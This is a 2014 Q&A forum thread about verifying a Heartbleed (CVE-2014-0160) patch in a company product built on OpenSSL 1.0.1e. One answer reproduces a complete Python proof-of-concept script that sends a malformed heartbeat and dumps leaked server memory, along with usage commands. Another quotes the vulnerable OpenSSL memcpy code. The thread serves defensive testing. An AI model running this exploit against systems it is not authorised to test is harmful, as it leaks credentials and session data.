6

I have a task to verify our company's software patch which addresses Heartbleed attack.

Now, I am certain that version of software I am trying to exploit uses 1.0.1e OpenSSL library, which should be vulnerable. However, I have tried out multiple Heartbleed test tools and they all say there was an error in response and that my app is probably not vulnerable.

During the testing, CardiacArrest tool returned:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection

Upon consulting RFC 5264, I have found more info about "Unexpected message":

unexpected_message
An inappropriate message was received. This alert is always fatal and should never be observed in communication between proper implementations.

Questions:

  • Can someone shed some more light about this result?
  • Could OpenSSL have been compiled without Heartbeat extension?
  • Is there any way to list extensions compiled into OpenSSL?

Thanks a lot!

6
  • 1
    Yes, OpenSSL can be compiled without Heartbeat enabled and this question on Security details what should happen.
    – Mokubai
    May 9, 2014 at 17:20
  • Thanks! After running openssl version -a, DOPENSSL_NO_HEARTBEATS did not show in my terminal, so I would assume it's enough to rule out that OpenSSL was compiled without Heartbeat extension. Basically, this version (1.0.1e) should definitely be vulnerable, right? May 9, 2014 at 21:01
  • 3
    If DOPENSSL_NO_HEARTBEATS doesn't appear as compile flag I guess that means OpenSSL was compiled with the Heartbeat extension. 1.0.1e and all the others versions starting with 1.0.1 are vulnerable only if they are compiled with Heartbeat support .
    – ov1d1u
    May 11, 2014 at 20:12
  • That's what suspected as well. But I cannot manage to reproduce vulnerability in version with OpenSSL 1.0.1e. I need some kind of working proof that software version using 1.0.1e is vulnerable and one after that is not... May 11, 2014 at 22:13
  • check the date on your openssl version (assuming you use a package manager like apt). if it's after april 7 you're fine. also this: serverfault.com/questions/587329/… and this: askubuntu.com/questions/444702/… May 14, 2014 at 19:11

2 Answers 2

1
+100

First off, Heartbleed has been demonstrated to be able to scan a processes memory (64kB at a time), so is very serious. Even without that, the data that can be seen will easily expose things such passwords, session tokens, and a number of other things (particularly for the PHP applications I've been looking at).

Bear in mind that Hearbleed affects TLS 1.1 and 1.2, and so if you're testing you need to specify that. (I can't be sure if restricting SSL version is a useful mitigation; best to patch and replace)

Unknown message, in this case, very likely means that you asked for an option that was not appropriate (or supported) on the peer. You might get this if you don't specify TLS 1.2.

I used a little Python tool created by Jared Stafford. Its instructive to run this using watch to see what you can see. Its not listed on his website, so I've included it below. You'll want to run it using something like ./heartbleed --port 443 --ver 2 SERVER_IP

I found it more useful to run is as follows:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'

or:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'

I don't have any unpatched servers to demonstrate this with, but if vulnerable, you'll get a hex/ASCII dump of the material found, which may be interesting to look at. You'll also get a server is vulnerable message.

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()
2
  • OK, after few days on investigating every angle I have concluded that our company's software was not vulnerable. For testing purposes I've had additional server up and running and ran every google-known test utility in order to determine vulnerability - many tests proved that server was indeed vulnerable. In addition, same utilities returned "Server alert/Unknown message" when tested against our application server. Carmeron, thanks for elaborate explanation and help on the matter. Bounty points go to you - after all, you were here to point out/explain the seriousness of this exploit :) May 18, 2014 at 14:04
  • Awesome. Glad I could be of help. May 18, 2014 at 19:03
2

Not every product that uses a vulnerable OpenSSL library is automatically vulnerable to Heartbeat. This is an SSL/TLS-layer bug, not a core crypto code bug. It all depends how your product is using the library.

The bug itself is not as serious as advertised, since what it does is send back a 64KB chunk of the program's memory that follows the send buffer. This chunk may, or may not, contain confidential data. And even if it does contain such data, the hacker still has to isolate it from the surrounding rubbish.

There are quite a few products around which use the vulnerable OpenSSL library but are not themselves vulnerable, just because they mishandle that error condition (bugs that protect against bugs). Your product may be one of them.

You should install some line-sniffer such as Wireshark and observe the Heartbeat message package and its answer. If the answer is very long, approaching 64KB, then your product is vulnerable. If it is short, however erroneous it is, then you are not vulnerable.

The best solution is of course to patch the OpenSSL library.

Heartbleed information

A good explanation of this bug can be found in the article Anatomy of OpenSSL's Heartbleed :

Heartbleed

The C-code in OpenSSL that causes the bug is :

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

This code is fixed by a simple check of the variable payload before the memcpy call (memory copy function).

Only the 64KB that follow the constructed message are sent. The message itself is allocated in memory, presumably by the function malloc(), so may not always be located at the same address. However, there are limits to which data can be extracted.

This means that stories about reading the entire process memory via this bug are just scare stories, although with a bit of chance the attacker can luck out and get very sensitive data. It all depends on how the attacked product was programmed and its exact memory layout.

1
  • I don't think this answers any of his questions ;) Well, maybe the first question. But its good information for the casual reader.
    – jww
    Jun 12, 2014 at 6:56

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .